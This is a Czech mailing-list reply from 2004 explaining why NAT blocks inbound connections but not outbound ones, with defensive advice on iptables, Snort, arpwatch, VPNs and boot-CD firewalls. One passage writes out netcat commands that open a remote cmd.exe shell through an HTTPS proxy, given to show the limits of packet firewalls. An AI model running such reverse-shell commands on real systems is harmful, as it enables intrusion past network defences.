[OT]: ADSL modem

Thomas Shaddack hwnews@shaddack.mauriceward.com
Úterý Červen 22 01:52:05 CEST 2004


On Tue, 22 Jun 2004, MK wrote:

> Dekuji za objasneni, co ze to je vlastne NAT, ale tohle celkem i chapu :-))
> Prominte, opravdu nepolemizuji nad funkci NATu :-))))
> Jem mi stale neni opravdu jasne tvrzeni, ze NAT je skoro lepsi ochrana nez firewall.

NAT poskytuje z principu sve funkce ochranu proti pokusum o navazani
spojeni zvenku. Opet z principu povoluje vsechna spojeni vyvolana zevnitr.
Coz je pro mnoho beznych situaci presne to co je zapotrebi.

Vyjimkou budiz filtrovani odchoziho portu 25, coz muze byt dulezite kvuli
cervum (pro zamezeni jejich sireni kdyz uz se nam dostanou dovnitr), ale
nic jineho nam v obvyklych situacich nijak moc nepomuze; odchozi spojeni
na port 80 nebo 443 (HTTP a HTTPS) vyvolane spywarem nebo trojanem se nam
na urovni paketu nelisi od spojeni vyvolaneho browserem. Pokud ovsem
netrvame na pouziti HTTP/HTTPS proxy, coz se ale pro minisite typu SOHO
obvykle nevyplati, a povolit odchozi spojeni jenom z proxy, ale i tak muze
trojan jit pres proxy a my si moc nepomuzeme. (Mam verzi netcatu do ktere
jsem cvicne dodelaval funkci tunelovani pres HTTPS proxy, vcetne moznosti
propojeni pres nekolik proxyserveru "v serii". Na prvni masine pustim "nc
-l -p 443", cimz mi zacne naslouchat na portu pro HTTPS, na druhe (co je
za firewallem a za proxy) pustim "nc -P prvnimasina:443 -e cmd.exe
proxyserver proxyport", a mam vzdaleny command shell. Proti tomuhle
neochrani ani nejlepsi "paketovy" firewall. Pomuze jenom "aplikacni
firewall" jako napr. Kerio, ktery "obali" kernelova API pro otvirani
soketu a kontroluje jestli jednotlive aplikace maji na prislusne pozadavky
narok. (A kontroluje take checksumy prislusnych aplikaci, jestli nebyly
zmeneny napr. virem nebo trojanem.)

> Nezlobte se, ale ochrana, ktera dovoli navazat nekontrolovatelne spojeni
> mi je celkem na dve veci .........

Ono ani ochrana co je nedovoli neni vsemocna.

Na tohle je nejlepsi "air gap", fyzicke oddeleni od LAN, ale to ponekud
omezuje funkcionalitu. Pro skutecne dulezita data, napr. certifikacni
autoritu, je to ale moznost vicemene jedina.

Pokud chceme jeste vyssi uroven zabezpeceni, musime zacit pocitat i s
fyzickou ochranou site (ono je ponekud na houby mit data za firewallem
kdyz si je protivnik i s pocitacem odnesl oknem), a v dalsich urovnich i s
elektromagnetickou bezpecnosti (viz problematika TEMPEST).

> Ja chci ale mit pod kontrolou VSE co jde do/z me lokalni site.

Linux. iptables pro NAT/firewall (a nejaky konfiguracni script co odre
vetsinu prace s nastavovanim pravidel), daemon pro DHCP - pokud je
potreba, syslog pro zaznam zahozenych paketu (nebo i tech propustenych,
alespon tech ktere nevyhovuji "vetsinovym" pravidlum, pokud je sysadmin
dostatecne paranoidni), mozna nejaka odruda syslogu co umi remote logging
pres TCP, v kombinaci s stunnelem pro zabaleni komunikace do SSL, pokud se
jedna o firewall nekde certvi kde a chceme na nej dohlizet dalkove. Dobra
vec je taky IDS, napr. "hlidaci prase" Snort, jehoz uloha je scannovat
komunikaci a hlasit a ukladat podezrele pakety ktere matchuji na regexpy
signatur znamych potizistu.

Pokud mame radi behaci cislicka, muzeme si k firewallu pichnout monitor a
zobrazovat si na nem aktivni spojeni (coz se hodi k rychlemu zjisteni
ktery loser si zase neco stahuje a zere tim pasmo). Pokud je zmineny loser
velky potizista, muzeme ho pak bud operativne odstrihnout, nebo pouzit
system pro pridelovani pasma a jenom ho prislusne zkrouhnout.

Dobra aplikace je na firewalllu provozovat "sluzby" na portech co se casto
scannuji. Zminena sluzba je shellovy script ktery pri jeho aplikaci prida
do iptables pravidlo ze veskera dalsi komunikace z dotycne vzdalene IP
adresy je zakazana. (Zde doporucuji pouzit whitelist pro pripad ze se
nekdy nekdo z "povolenych" IP adres omylem uklepne. Jeho vhodnost zavisi
na bilanci toho co se stane kdyz nekomu povolime scan vs toho kdyz nekomu
kdo pristup ma mit tento usekneme. Kdyz nas utok bude stat $10,000 ale
nasledky jeho prevence $20,000, je lepsi si risknout utok.)

Dalsi uzitecnou utilitkou je arpwatch. Sleduje prirazeni IP/MAC adres na
siti a hlida zmeny. Pokud se nekdo pokousi o ARP spoof, tohle ho prozradi.

Pokud si prejeme, muzeme mit podporu IPSec. Pokud nechceme IPSec, muzeme
provozovat OpenVPN.


Taky muzeme vzit velky pevny disk a udelat si malinkateho demona co bude
zmineny disk pouzivat jako kruhovy buffer a zaznamenavat na nej veskerou
komunikaci co pres firewall prochazela, pro eventuelni pozdejsi audit.
(Tohle je ovsem vyhodnejsi provozovat na urovni ethernet proxy, kde
pocitac prehazuje (a loguje) pakety z eth0 na eth1 a nazpet, aniz adaptery
maji svou IP adresu; timto je ze site efektivne neviditelny a protivnik
prakticky nema moznost jej "softwarove" najit a zneskodnit. Pokud chceme
ovladani na dalku, muzeme tento "neviditelny" pocitac pripojit nullmodemem
pres seriovou konzoli.)

To vse za cenu jednoho bazaroveho PC. Coz je dnes natolik lacina
zalezitost, ze se v nekterych situacich muze vyplatit mit dve, jedno jako
hot-spare - v pripadech kdy cena ztraty konektivity je vyssi nez cena
hardware.


Nebo muzeme pouzit FreeBSD, nebo jeste lepe OpenBSD. To ma vsechno tohle
taky, akorat se to nekdy jmenuje jinak. Je plusminus jedno ktery system je
"nejlepsi" - pro praxi je nejlepsi ten ktery admin umi nejlip (s vyjimkou
Windows, kterym bych nedoporucoval sverit ani zlateho krecka, natoz pak
pripojeni k Siti).


Embedded Linux nebo BSD je cim dal tim obvyklejsi i v ruznych
"krabickach", at uz se jedna o firewally, nebo i o WiFi accesspointy. Viz
napr. Linksys WRT54G, pro ktery existuje "alternativni" firmware na bazi
Linuxu. Po svete existuje i mnozstvi hardware primo navrzeneho pro
provozovani open-source OS v rezimu firewall; viz napr. deska Soekris.



A ani nepotrebujeme pevny disk; tohle vsechno se da spustit z bootovaciho
CD, po svete je spousta distribuci k tomuto ucelu jiz vyvinutych, viz
napr. RedWall, http://redwall.sourceforge.net/, nebo velky a zdaleka
nevycerpavajici seznam ruznych dalsich moznosti:
http://freshmeat.net/search/?q=firewall%20cd&section=projects

Pouziti read-only media nas navic zbavuje starosti s tim, ze kdyz uz se do
toho nekdo nabori, ze nam zatrojanuje soubory; dalsi vyhodou je moznost
rychle improvizace v pripade ze se neco v existujici infrastrukture
podela.




Další informace o konferenci Hw-list